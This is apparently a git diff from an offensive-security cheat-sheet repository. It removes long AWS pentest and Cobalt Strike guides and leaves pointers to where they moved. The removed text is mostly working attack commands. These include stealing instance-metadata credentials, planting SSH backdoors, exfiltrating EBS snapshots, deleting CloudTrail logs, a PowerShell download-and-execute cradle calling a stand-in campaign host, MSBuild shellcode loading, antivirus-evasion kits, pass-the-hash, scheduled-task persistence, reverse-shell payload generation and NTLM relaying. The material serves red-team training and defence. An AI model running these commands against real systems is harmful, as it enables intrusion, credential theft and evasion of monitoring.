To attach a role to an EC2 instance, we can use the RCE to grab the ID
```
curl http://169.254.169.254/latest/meta-data/instance-id
```
#### Listing instance profiles
```
aws iam list-instance-profiles
```
#### Attach an instance profile to an EC2 instance
```
aws ec2 associate-iam-instance-profile --instance-id ID --iam-instance-profile Name=ProfileName
```
### Credential Access
* We can grab the credentials by abusing metadata (Web Application with SSRF,RCE and so on)
#### After the initial access
1. Enumerate the key (Role)
```
aws sts get-caller-identity
```
2. If there are roles associated with the key, we can grab the credentials by issuing a request to the metadata endpoint (v1 or v2)
```
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_OF_PREVIOUS_COMMAND
```
3. Configure the aws cli
```
aws configure
```
Or use enviroment variables.
### Persistence
* All the persistence techniques works here, SSH persistence, vim backdoor and so on.
#### SSH Persistence example
1. Generate SSH Key pair
```
ssh-keygen
```
2. Add public key to authorized_keys
```
echo "PUBLIC_Key" >> /home/user/.ssh/authorized_keys
```
3. Use the private key to connect
```
ssh -i public_key user@instance
```
# Elastic Block Store
* Block storage system used to store persistent data
* It's possible to attach this drive to EC2 and increase the storage (Like and HD, but scalable).
* It's possible to create a snapshot (It will be saved on S3) and create a volume from this snapshot.
* It's possible to attach the snapshot (Backup of BS) to an EC2 instance
* Snapshots can be used as volumes or AMI's
## Enumeration
### Enumerating EBS volumes
```
aws ec2 describe-volumes
```
* If the volume is available, it can be attached to an EC2 instance
* Check if the EBS is encrypted
### Enumerating Snapshots
```
aws ec2 describe-snapshots --owner-ids self
```
* Also check if the snapshot is encrypted
## Exploitation & Data Exfiltration
* Create a snapshot of an EC2 instance, create a volume from snapshot and attach to other EC2 instance.
* User need to have IAM permissions on EC2
* Maybe we don't have the right to access the instance but have rights to create a snapshot and attach it to another machine.
### Creating a snapshot of a specified volume
```
aws ec2 create-snapshot --volume volumeID --description "Example" --profile profile_name
```
### Listing snapshots
```
aws ec2 describe-snapshots
```
### Creating a volume from a snasphot
```
aws ec2 create-volume --snapshot-id ID --availability-zone ZONE --profile profile_name
```
* The volume needs to be in the same availability zone as the instance we have access
### Attaching the volume to an instance
```
aws ec2 attach-volume --volume-id VolumeID --instance-id InstanceID --device /dev/sdfd -> Can be other value
```
### Mounting the volume
```
sudo mount /dev/sdfd /directory
```
After mounting, we will have access to the disk.
# RDS - Relational Database Service
* Service to use, operate and scale relational databases in AWS (MariaDB, MySQL and similar)
* The access is done by using password, password+IAM or password+kerberos
* It's possible to restrict access using restriction such as specific EC2 or lambda or use network level restriction such as vpc, ip.
* RDS Proxy hadles the traffic between the application and the database, it enables the enforcing of IAM permissions and use secrets manager to store credentials.
## Enumeration
### Listing information about clusters in RDS
```
aws rds describe-db-clusters
```
### Listing information about RDS instances
```
aws rds describe-db-instances
```
* IAMDatabaseAuthenticationEnabled: false -> Need password to access the instance
### Listing information about subnet groups in RDS
```
aws rds describe-db-subnet-groups
```
### Listing information about database security groups in RDS
```
aws rds describe-db-security-groups
```
### Listing information about database proxies
```
aws rds describe-db-proxies
```
## Data exfiltration
* If the instance is in a security group or VPC, we need to compromise it first to access the database (For example, we compromise an EC2 instance in the same VPC, then its possible to connect)
### List instances in RDS
```
aws rds describe-db-instances
```
### List information about the specified security group
```
aws ec2 describe-security-groups --group-ids id
```
### Password based authentication
```
mysql -h hostname -u name -P port -p password
```
### IAM Based authentication
**1. Identify the user**
```
aws sts get-caller-identity
```
**2. List all policies attached to a role**
```
aws iam list-attached-role-policies --role-name name
```
**3. Get information about a specific version of a policy**
```
aws iam get-policy-version --policy-arn arn --version-id ID
```
**4. Get a temporary token from the RDS**
```
aws rds generate-db-auth-token --hostname hostname --port port --username username --region region
```
* To be easier, we can put it in a variable
```
TOKEN=$(aws rds generate-db-auth-token --hostname hostname --port port --username username --region region)
```
**5. Connect to the DB using the token**
```
mysql -h hostname -u name -P port --enable-cleartext-plugin --user=user --password=$TOKEN
```
## SSO & Other Services
## Single Sign On (SSO)
* Used to centrally manage access to multiple AWS accounts and applications.
* Provide users a way to interact with all services and applications through one place
* Can be used to manage access and user permissions to all AWS accounts
* The identity source can use AWS SSO's identity store or external identity store (Okta,SAML and similar)
## CloudTrail
* Log monitoring service, allow us to continuously monitor and retain account activity related to actions in our AWS account
* Provide event history of AWS account activity, SDKs, command line tools and other services
* Commonly used to detect unsual behavior in AWS account
* Pacu automatically changes the user agent to deceive the logs of cloudtrail
### Userful Commands
#### List trails
```
aws cloudtrail list-trails
```
#### Disabling CloudTrail
```
aws cloudtrail delete-trail --name example_trail --profile name
```
#### Disable monitoring of events from global events
```
aws cloudtrail update-trail --name example_trail --no-include-global-service-event
```
#### Disable CloudTrail on specific regions
```
aws cloudtrail update-trail --name example_trail --no-include-global-service-event --no-is-multi-region --region=eu-west
```
## AWS Shield
* Used to protect services from Denial of Service Attacks
* There are 2 versions, the standard and the Advanced
## AWS Waf
* Used to protect applications against common web application attacks
* Common WAF bypasses can be tested against it
* To detect an WAF, we can use `wafw00f`
## AWS Inspector
* Automated security assessment service that helps improve the security and compliance of applications on AWS
* Works with an agent
## AWS Guard Duty
* Threat detection service that monitors for malicious activity and unauthorized behavior
* Works by collecting and analyzing logs
## Virtual Private Cloud
* Used to create an isolated infrastructure within the cloud, including subnets and so on.
* If the VPC has an internet gateway, means its a public subnet
* Every VPC can have Network ACL's
## Routing Tables
A set of rules to determine where the traffic will be directed, comes in form of Destination and Target, defined as follows
```
DESTINATION TARGET
IP local -> VPC Internal
IP igw -> Internet Gateway
IP nat -> NAT Gateway
IP pcx -> VPC Peering
IP vpce -> VPC Endpoint
IP vgw -> VPN Gateway
IP eni -> Network Interface
```
* VPC Internal -> Internal IP, no internet connection
* Internet Gateway -> Used to access the internet
* NAT Gateway -> Does the NAT between machines, allows one way connection to the internet
* VPC Peering -> Allows the communication between 2 VPC's
* VPC Endpoint -> Used to access aws services without internet connection (Internet Gateway)
* VPN Gateway -> Used to expand the cloud to on premises and vice-versa
* Network Interface -> Network Interfaces
## Enumeration
### Listing VPC's
```
aws ec2 describe-vpcs
```
### Listing VPC's specifing the region
```
aws ec2 describe-vpcs --region us-west-1
```
### Listing VPC information by ID
```
aws ec2 describe-vpcs --filters "Name=vpc-id,Values=ID"
```
### Listing subnet's
```
aws ec2 describe-subnets
```
### Listing subnet's by VPC-id
```
aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"
```
### Listing routing tables
```
aws ec2 describe-route-tables
```
### Listing routing tables by VPC-id
```
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"
```
### Listing Network ACL's
```
aws ec2 describe-network-acls
```
## Lateral Movement and Pivoting
* We can abuse VPC peering to do lateral movement
### Scenario
* There are 3 VPC's -> A,B,C
* A can access B through peering and B access C. We can use VPC B as a peering pivot to access VPC C from VPC A.
* The lateral movement can be done if we gather keys or other machines
* Always enumerate the subnets to see in which subnet we can access other VPC's
#### Listing VPC peering connections
```
aws ec2 describe-vpc-peering-connections
```
#### Listing subnets of specific VPC (Important because the access can be restricted to specific subnets to other VPC's)
```
aws ec2 describe-subnets --filters "Name=vpc-id,Values=ID"
```
#### Listing routing tables
```
aws ec2 describe-route-tables --filters "Name=vpc-id,Values=ID"
```
#### Listing instances on the specified VPC ID
```
aws ec2 describe-instances --filters "Name=vpc-id,Values=ID"
```
#### Listing instances on the specified subnet
```
aws ec2 describe-instances --filters "Name=subnet-id,Values=ID"
```
## References
* [An introduction to penetration testing AWS - Akimbocore](https://akimbocore.com/article/introduction-to-penetration-testing-aws/)
* [Cloud Shadow Admin Threat 10 Permissions Protect - CyberArk](https://www.cyberark.com/threat-research-blog/cloud-shadow-admin-threat-10-permissions-protect/)
* [My arsenal of AWS Security tools - toniblyx](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
* [AWS Privilege Escalation method mitigation - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
* [AWS CLI Cheatsheet - apolloclark](https://gist.github.com/apolloclark/b3f60c1f68aa972d324b)
* [Pacu Open source AWS Exploitation framework - RhinoSecurityLabs](https://rhinosecuritylabs.com/aws/pacu-open-source-aws-exploitation-framework/)
* [PACU Spencer Gietzen - 30 juil. 2018](https://www.youtube.com/watch?v=XfetW1Vqybw&feature=youtu.be&list=PLBID4NiuWSmfdWCmYGDQtlPABFHN7HyD5)
* [Cloud security instance metadata - PumaScan](https://pumascan.com/resources/cloud-security-instance-metadata/)
* [Privilege escalation in the Cloud: From SSRF to Global Account Administrator - Maxime Leblanc - Sep 1, 2018](https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6)
* [AWS - Cheatsheet - @Magnussen](https://www.magnussen.funcmylife.fr/article_35)
* [HOW I HACKED A WHOLE EC2 NETWORK DURING A PENETRATION TEST - by Federico Fernandez](https://www.secsignal.org/en/news/how-i-hacked-a-whole-ec2-network-during-a-penetration-test/)
* [How to Attach and Mount an EBS volume to EC2 Linux Instance - AUGUST 17, 2016](https://devopscube.com/mount-ebs-volume-ec2-instance/)
* [Getting shell and data access in AWS by chaining vulnerabilities - Riyaz Walikar - Aug 29, 2019 ](https://blog.appsecco.com/getting-shell-and-data-access-in-aws-by-chaining-vulnerabilities-7630fa57c7ed)
* [Getting started with Version 2 of AWS EC2 Instance Metadata service (IMDSv2) - Sunesh Govindaraj - Nov 25, 2019](https://blog.appsecco.com/getting-started-with-version-2-of-aws-ec2-instance-metadata-service-imdsv2-2ad03a1f3650)
* [Gaining AWS Console Access via API Keys - Ian Williams - March 18th, 2020](https://blog.netspi.com/gaining-aws-console-access-via-api-keys/)
* [AWS API calls that return credentials - kmcquade](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a)
* [A short note on AWS KEY ID - Tal Be'ery - Oct 27, 2023](https://medium.com/@TalBeerySec/a-short-note-on-aws-key-id-f88cc4317489)
:warning: Content of this page has been moved to [InternalAllTheThings/cloud/aws](https://github.com/swisskyrepo/InternalAllTheThings/)
* [Cloud - AWS](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/AWS%20Pentest/)
* [AWS - Access Token & Secrets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-access-token/)
* [AWS - Service - Cognito](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-cognito/)
* [AWS - Service - DynamoDB](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-dynamodb/)
* [AWS - Service - EC2](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ec2/)
* [AWS - Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-enumeration/)
* [AWS - Identity & Access Management](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-iam/)
* [AWS - IOC & Detections](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ioc-detection/)
* [AWS - Service - Lambda](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-lambda/)
* [AWS - Metadata SSRF](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-metadata/)
* [AWS - Service - S3 Buckets](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-s3-bucket/)
* [AWS - Service - SSM](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-ssm/)
* [AWS - Training](https://swisskyrepo.github.io/InternalAllTheThings/cloud/aws/aws-training/)

View File

@ -1,6 +1,6 @@
# Cloud - Azure
:warning: Content of this page has been moved to [InternalAllTheThings](https://github.com/swisskyrepo/InternalAllTheThings/)
:warning: Content of this page has been moved to [InternalAllTheThings/cloud/azure](https://github.com/swisskyrepo/InternalAllTheThings/)
* [Azure AD Connect](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-ad-connect/)
* [Azure AD Enumerate](https://swisskyrepo.github.io/InternalAllTheThings/cloud/azure/azure-enumeration/)

View File

@ -1,491 +1,32 @@
# Cobalt Strike
> Cobalt Strike is threat emulation software. Red teams and penetration testers use Cobalt Strike to demonstrate the risk of a breach and evaluate mature security programs. Cobalt Strike exploits network vulnerabilities, launches spear phishing campaigns, hosts web drive-by attacks, and generates malware infected files from a powerful graphical user interface that encourages collaboration and reports all activity.
```powershell
$ sudo apt-get update
$ sudo apt-get install openjdk-11-jdk
$ sudo apt install proxychains socat
$ sudo update-java-alternatives -s java-1.11.0-openjdk-amd64
$ sudo ./teamserver 10.10.10.10 "password" [malleable C2 profile]
$ ./cobaltstrike
$ powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://campaigns.example.com/download/dnsback'))"
```
## Summary
* [Infrastructure](#infrastructure)
* [Redirectors](#redirectors)
* [Domain fronting](#domain-fronting)
* [OpSec](#opsec)
* [Customer ID](#customer-id)
* [Payloads](#payloads)
* [DNS Beacon](#dns-beacon)
* [SMB Beacon](#smb-beacon)
* [Metasploit compatibility](#metasploit-compatibility)
* [Custom Payloads](#custom-payloads)
* [Malleable C2](#malleable-c2)
* [Files](#files)
* [Powershell and .NET](#powershell-and-net)
* [Powershell commabds](#powershell-commands)
* [.NET remote execution](#net-remote-execution)
* [Lateral Movement](#lateral-movement)
* [VPN & Pivots](#vpn--pivots)
* [Kits](#kits)
* [Elevate Kit](#elevate-kit)
* [Persistence Kit](#persistence-kit)
* [Resource Kit](#resource-kit)
* [Artifact Kit](#artifact-kit)
* [Mimikatz Kit](#mimikatz-kit)
* [Sleep Mask Kit](#sleep-mask-kit)
* [Thread Stack Spoofer](#thread-stack-spoofer)
* [Beacon Object Files](#beacon-object-files)
* [NTLM Relaying via Cobalt Strike](#ntlm-relaying-via-cobalt-strike)
* [References](#references)
## Infrastructure
### Redirectors
```powershell
sudo apt install socat
socat TCP4-LISTEN:80,fork TCP4:[TEAM SERVER]:80
```
### Domain Fronting
* New Listener > HTTP Host Header
* Choose a domain in "Finance & Healthcare" sector
## OpSec
**Don't**
* Use default self-signed HTTPS certificate
* Use default port (50050)
* Use 0.0.0.0 DNS response
* Metasploit compatibility, ask for a payload : `wget -U "Internet Explorer" http://127.0.0.1/vl6D`
**Do**
* Use a redirector (Apache, CDN, ...)
* Firewall to only accept HTTP/S from the redirectors
* Firewall 50050 and access via SSH tunnel
* Edit default HTTP 404 page and Content type: text/plain
* No staging `set hosts_stage` to `false` in Malleable C2
* Use Malleable Profile to taylor your attack to specific actors
### Customer ID
> The Customer ID is a 4-byte number associated with a Cobalt Strike license key. Cobalt Strike 3.9 and later embed this information into the payload stagers and stages generated by Cobalt Strike.
* The Customer ID value is the last 4-bytes of a Cobalt Strike payload stager in Cobalt Strike 3.9 and later.
* The trial has a Customer ID value of 0.
* Cobalt Strike does not use the Customer ID value in its network traffic or other parts of the tool
## Payloads
### DNS Beacon
* Edit the Zone File for the domain
* Create an A record for Cobalt Strike system
* Create an NS record that points to FQDN of your Cobalt Strike system
Your Cobalt Strike team server system must be authoritative for the domains you specify. Create a DNS A record and point it to your Cobalt Strike team server. Use DNS NS records to delegate several domains or sub-domains to your Cobalt Strike team server's A record.
* nslookup jibberish.beacon polling.campaigns.domain.com
* nslookup jibberish.beacon campaigns.domain.com
Example of DNS on Digital Ocean:
```powershell
NS example.com directs to 10.10.10.10. 86400
NS polling.campaigns.example.com directs to campaigns.example.com. 3600
A campaigns.example.com directs to 10.10.10.10 3600
```
```powershell
systemctl disable systemd-resolved
systemctl stop systemd-resolved
rm /etc/resolv.conf
echo "nameserver 8.8.8.8" > /etc/resolv.conf
echo "nameserver 8.8.4.4" >> /etc/resolv.conf
```
Configuration:
1. **host**: campaigns.domain.com
2. **beacon**: polling.campaigns.domain.com
3. Interact with a beacon, and `sleep 0`
### SMB Beacon
```powershell
link [host] [pipename]
connect [host] [port]
unlink [host] [PID]
jump [exec] [host] [pipe]
```
SMB Beacon uses Named Pipes. You might encounter these error code while running it.
| Error Code | Meaning | Description |
|------------|----------------------|----------------------------------------------------|
| 2 | File Not Found | There is no beacon for you to link to |
| 5 | Access is denied | Invalid credentials or you don't have permission |
| 53 | Bad Netpath | You have no trust relationship with the target system. It may or may not be a beacon there. |
### SSH Beacon
```powershell
# deploy a beacon
beacon> help ssh
Use: ssh [target:port] [user] [pass]
Spawn an SSH client and attempt to login to the specified target
beacon> help ssh-key
Use: ssh [target:port] [user] [/path/to/key.pem]
Spawn an SSH client and attempt to login to the specified target
# beacon's commands
upload Upload a file
download Download a file
socks Start SOCKS4a server to relay traffic
sudo Run a command via sudo
rportfwd Setup a reverse port forward
shell Execute a command via the shell
```
### Metasploit compatibility
* Payload: windows/meterpreter/reverse_http or windows/meterpreter/reverse_https
* Set LHOST and LPORT to the beacon
* Set DisablePayloadHandler to True
* Set PrependMigrate to True
* exploit -j
### Custom Payloads
https://ired.team/offensive-security/code-execution/using-msbuild-to-execute-shellcode-in-c
```powershell
* Attacks > Packages > Payload Generator
* Attacks > Packages > Scripted Web Delivery (S)
$ python2 ./shellcode_encoder.py -cpp -cs -py payload.bin MySecretPassword xor
$ C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe C:\Windows\Temp\dns_raw_stageless_x64.xml
$ %windir%\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe \\10.10.10.10\Shared\dns_raw_stageless_x86.xml
```
## Malleable C2
List of Malleable Profiles hosted on Github
* Cobalt Strike - Malleable C2 Profiles https://github.com/xx0hcd/Malleable-C2-Profiles
* Cobalt Strike Malleable C2 Design and Reference Guide https://github.com/threatexpress/malleable-c2
* Malleable-C2-Profiles https://github.com/rsmudge/Malleable-C2-Profiles
* SourcePoint is a C2 profile generator https://github.com/Tylous/SourcePoint
Example of syntax
```powershell
set useragent "SOME AGENT"; # GOOD
set useragent 'SOME AGENT'; # BAD
prepend "This is an example;";
# Escape Double quotes
append "here is \"some\" stuff";
# Escape Backslashes
append "more \\ stuff";
# Some special characters do not need escaping
prepend "!@#$%^&*()";
```
Check a profile with `./c2lint`.
* A result of 0 is returned if c2lint completes with no errors
* A result of 1 is returned if c2lint completes with only warnings
* A result of 2 is returned if c2lint completes with only errors
* A result of 3 is returned if c2lint completes with both errors and warning
## Files
```powershell
# List the file on the specified directory
beacon > ls <C:\Path>
# Change into the specified working directory
beacon > cd [directory]
# Delete a file\folder
beacon > rm [file\folder]
# File copy
beacon > cp [src] [dest]
# Download a file from the path on the Beacon host
beacon > download [C:\filePath]
# Lists downloads in progress
beacon > downloads
# Cancel a download currently in progress
beacon > cancel [*file*]
# Upload a file from the attacker to the current Beacon host
beacon > upload [/path/to/file]
```
## Powershell and .NET
### Powershell commands
```powershell
# Import a Powershell .ps1 script from the control server and save it in memory in Beacon
beacon > powershell-import [/path/to/script.ps1]
# Setup a local TCP server bound to localhost and download the script imported from above using powershell.exe. Then the specified function and any arguments are executed and output is returned.
beacon > powershell [commandlet][arguments]
# Launch the given function using Unmanaged Powershell, which does not start powershell.exe. The program used is set by spawnto
beacon > powerpick [commandlet] [argument]
# Inject Unmanaged Powershell into a specific process and execute the specified command. This is useful for long-running Powershell jobs
beacon > psinject [pid][arch] [commandlet] [arguments]
```
### .NET remote execution
Run a local .NET executable as a Beacon post-exploitation job.
Require:
* Binaries compiled with the "Any CPU" configuration.
```powershell
beacon > execute-assembly [/path/to/script.exe] [arguments]
beacon > execute-assembly /home/audit/Rubeus.exe
[*] Tasked beacon to run .NET program: Rubeus.exe
[+] host called home, sent: 318507 bytes
[+] received output:
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v1.4.2
```
## Lateral Movement
:warning: OPSEC Advice: Use the **spawnto** command to change the process Beacon will launch for its post-exploitation jobs. The default is rundll32.exe
- **portscan:** Performs a portscan on a specific target.
- **runas:** A wrapper of runas.exe, using credentials you can run a command as another user.
- **pth:** By providing a username and a NTLM hash you can perform a Pass The Hash attack and inject a TGT on the current process. \
:exclamation: This module needs Administrator privileges.
- **steal_token:** Steal a token from a specified process.
- **make_token:** By providing credentials you can create an impersonation token into the current process and execute commands from the context of the impersonated user.
- **jump:** Provides easy and quick way to move lateraly using winrm or psexec to spawn a new beacon session on a target. \
:exclamation: The **jump** module will use the current delegation/impersonation token to authenticate on the remote target. \
:muscle: We can combine the **jump** module with the **make_token** or **pth** module for a quick "jump" to another target on the network.
- **remote-exec:** Execute a command on a remote target using psexec, winrm or wmi. \
:exclamation: The **remote-exec** module will use the current delegation/impersonation token to authenticate on the remote target.
- **ssh/ssh-key:** Authenticate using ssh with password or private key. Works for both linux and windows hosts.
:warning: All the commands launch powershell.exe
```powershell
Beacon Remote Exploits
======================
jump [module] [target] [listener]
psexec x86 Use a service to run a Service EXE artifact
psexec64 x64 Use a service to run a Service EXE artifact
psexec_psh x86 Use a service to run a PowerShell one-liner
winrm x86 Run a PowerShell script via WinRM
winrm64 x64 Run a PowerShell script via WinRM
Beacon Remote Execute Methods
=============================
remote-exec [module] [target] [command]
Methods Description
------- -----------
psexec Remote execute via Service Control Manager
winrm Remote execute via WinRM (PowerShell)
wmi Remote execute via WMI (PowerShell)
```
Opsec safe Pass-the-Hash:
1. `mimikatz sekurlsa::pth /user:xxx /domain:xxx /ntlm:xxxx /run:"powershell -w hidden"`
2. `steal_token PID`
### Assume Control of Artifact
* Use `link` to connect to SMB Beacon
* Use `connect` to connect to TCP Beacon
## VPN & Pivots
:warning: Covert VPN doesn't work with W10, and requires Administrator access to deploy.
> Use socks 8080 to setup a SOCKS4a proxy server on port 8080 (or any other port you choose). This will setup a SOCKS proxy server to tunnel traffic through Beacon. Beacon's sleep time adds latency to any traffic you tunnel through it. Use sleep 0 to make Beacon check-in several times a second.
```powershell
# Start a SOCKS server on the given port on your teamserver, tunneling traffic through the specified Beacon. Set the teamserver/port configuration in /etc/proxychains.conf for easy usage.
beacon > socks [PORT]
beacon > socks [port]
beacon > socks [port] [socks4]
beacon > socks [port] [socks5]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password]
beacon > socks [port] [socks5] [enableNoAuth|disableNoAuth] [user] [password] [enableLogging|disableLogging]
# Proxy browser traffic through a specified Internet Explorer process.
beacon > browserpivot [pid] [x86|x64]
# Bind to the specified port on the Beacon host, and forward any incoming connections to the forwarded host and port.
beacon > rportfwd [bind port] [forward host] [forward port]
# spunnel : Spawn an agent and create a reverse port forward tunnel to its controller. ~= rportfwd + shspawn.
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw -o /tmp/msf.bin
beacon> spunnel x64 184.105.181.155 4444 C:\Payloads\msf.bin
# spunnel_local: Spawn an agent and create a reverse port forward, tunnelled through your Cobalt Strike client, to its controller
# then you can handle the connect back on your MSF multi handler
beacon> spunnel_local x64 127.0.0.1 4444 C:\Payloads\msf.bin
```
## Kits
* [Cobalt Strike Community Kit](https://cobalt-strike.github.io/community_kit/) - Community Kit is a central repository of extensions written by the user community to extend the capabilities of Cobalt Strike
### Elevate Kit
UAC Token Duplication : Fixed in Windows 10 Red Stone 5 (October 2018)
```powershell
beacon> runasadmin
Beacon Command Elevators
========================
Exploit Description
------- -----------
ms14-058 TrackPopupMenu Win32k NULL Pointer Dereference (CVE-2014-4113)
ms15-051 Windows ClientCopyImage Win32k Exploit (CVE 2015-1701)
ms16-016 mrxdav.sys WebDav Local Privilege Escalation (CVE 2016-0051)
svc-exe Get SYSTEM via an executable run as a service
uac-schtasks Bypass UAC with schtasks.exe (via SilentCleanup)
uac-token-duplication Bypass UAC with Token Duplication
```
### Persistence Kit
* https://github.com/0xthirteen/MoveKit
* https://github.com/fireeye/SharPersist
```powershell
# List persistences
SharPersist -t schtaskbackdoor -m list
SharPersist -t startupfolder -m list
SharPersist -t schtask -m list
# Add a persistence
SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add
SharPersist -t schtaskbackdoor -n "Something Cool" -m remove
SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add
SharPersist -t service -n "Some Service" -m remove
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add
SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Task" -m add -o hourly
SharPersist -t schtask -n "Some Task" -m remove
```
### Resource Kit
> The Resource Kit is Cobalt Strike's means to change the HTA, PowerShell, Python, VBA, and VBS script templates Cobalt Strike uses in its workflows
### Artifact Kit
> Cobalt Strike uses the Artifact Kit to generate its executables and DLLs. The Artifact Kit is a source code framework to build executables and DLLs that evade some anti-virus products. The Artifact Kit build script creates a folder with template artifacts for each Artifact Kit technique. To use a technique with Cobalt Strike, go to Cobalt Strike -> Script Manager, and load the artifact.cna script from that technique's folder.
Artifact Kit (Cobalt Strike 4.0) - https://www.youtube.com/watch?v=6mC21kviwG4 :
- Download the artifact kit : `Go to Help -> Arsenal to download Artifact Kit (requires a licensed version of Cobalt Strike)`
- Install the dependencies : `sudo apt-get install mingw-w64`
- Edit the Artifact code
* Change pipename strings
* Change `VirtualAlloc` in `patch.c`/`patch.exe`, e.g: HeapAlloc
* Change Import
- Build the Artifact
- Cobalt Strike -> Script Manager > Load .cna
### Mimikatz Kit
* Download and extract the .tgz from the Arsenal (Note: The version uses the Mimikatz release version naming (i.e., 2.2.0.20210724)
* Load the mimikatz.cna aggressor script
* Use mimikatz functions as normal
### Sleep Mask Kit
> The Sleep Mask Kit is the source code for the sleep mask function that is executed to obfuscate Beacon, in memory, prior to sleeping.
Use the included `build.sh` or `build.bat` script to build the Sleep Mask Kit on Kali Linux or Microsoft Windows. The script builds the sleep mask object file for the three types of Beacons (default, SMB, and TCP) on both x86 and x64 architectures in the sleepmask directory. The default type supports HTTP, HTTPS, and DNS Beacons.
### Thread Stack Spoofer
> An advanced in-memory evasion technique that spoofs Thread Call Stack. This technique allows to bypass thread-based memory examination rules and better hide shellcodes while in-process memory.
Thread Stack Spoofer is now enabled by default in the Artifact Kit, it is possible to disable it via the option `artifactkit_stack_spoof` in the config file `arsenal_kit.config`.
## Beacon Object Files
> A BOF is just a block of position-independent code that receives pointers to some Beacon internal APIs
Example: https://github.com/Cobalt-Strike/bof_template/blob/main/beacon.h
* Compile
```ps1
# To compile this with Visual Studio:
cl.exe /c /GS- hello.c /Fohello.o
# To compile this with x86 MinGW:
i686-w64-mingw32-gcc -c hello.c -o hello.o
# To compile this with x64 MinGW:
x86_64-w64-mingw32-gcc -c hello.c -o hello.o
```
* Execute: `inline-execute /path/to/hello.o`
## NTLM Relaying via Cobalt Strike
```powershell
beacon> socks 1080
kali> proxychains python3 /usr/local/bin/ntlmrelayx.py -t smb://<IP_TARGET>
beacon> rportfwd_local 8445 <IP_KALI> 445
beacon> upload C:\Tools\PortBender\WinDivert64.sys
beacon> PortBender redirect 445 8445
```
## References
* [Red Team Ops with Cobalt Strike (1 of 9): Operations](https://www.youtube.com/watch?v=q7VQeK533zI)
* [Red Team Ops with Cobalt Strike (2 of 9): Infrastructure](https://www.youtube.com/watch?v=5gwEMocFkc0)
* [Red Team Ops with Cobalt Strike (3 of 9): C2](https://www.youtube.com/watch?v=Z8n9bIPAIao)
* [Red Team Ops with Cobalt Strike (4 of 9): Weaponization](https://www.youtube.com/watch?v=H0_CKdwbMRk)
* [Red Team Ops with Cobalt Strike (5 of 9): Initial Access](https://www.youtube.com/watch?v=bYt85zm4YT8)
* [Red Team Ops with Cobalt Strike (6 of 9): Post Exploitation](https://www.youtube.com/watch?v=Pb6yvcB2aYw)
* [Red Team Ops with Cobalt Strike (7 of 9): Privilege Escalation](https://www.youtube.com/watch?v=lzwwVwmG0io)
* [Red Team Ops with Cobalt Strike (8 of 9): Lateral Movement](https://www.youtube.com/watch?v=QF_6zFLmLn0)
* [Red Team Ops with Cobalt Strike (9 of 9): Pivoting](https://www.youtube.com/watch?v=sP1HgUu7duU&list=PL9HO6M_MU2nfQ4kHSCzAQMqxQxH47d1no&index=10&t=0s)
* [A Deep Dive into Cobalt Strike Malleable C2 - Joe Vest - Sep 5, 2018 ](https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b)
* [Cobalt Strike. Walkthrough for Red Teamers - Neil Lines - 15 Apr 2019](https://www.pentestpartners.com/security-blog/cobalt-strike-walkthrough-for-red-teamers/)
* [TALES OF A RED TEAMER: HOW TO SETUP A C2 INFRASTRUCTURE FOR COBALT STRIKE UB 2018 - NOV 25 2018](https://holdmybeersecurity.com/2018/11/25/tales-of-a-red-teamer-how-to-setup-a-c2-infrastructure-for-cobalt-strike-ub-2018/)
* [Cobalt Strike - DNS Beacon](https://www.cobaltstrike.com/help-dns-beacon)
* [How to Write Malleable C2 Profiles for Cobalt Strike - January 24, 2017](https://bluescreenofjeff.com/2017-01-24-how-to-write-malleable-c2-profiles-for-cobalt-strike/)
* [NTLM Relaying via Cobalt Strike - July 29, 2021 - Rasta Mouse](https://rastamouse.me/ntlm-relaying-via-cobalt-strike/)
* [Cobalt Strike - User Guide](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/welcome_main.htm)
* [Cobalt Strike 4.6 - User Guide PDF](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-6-user-guide.pdf)
:warning: Content of this page has been moved to [InternalAllTheThings/command-control/cobalt-strike](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/)
* [Infrastructure](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#infrastructure)
* [Redirectors](https://swisskyrepo.github.io/InternalAllTheThings/command-control/cobalt-strike/#redirectors)
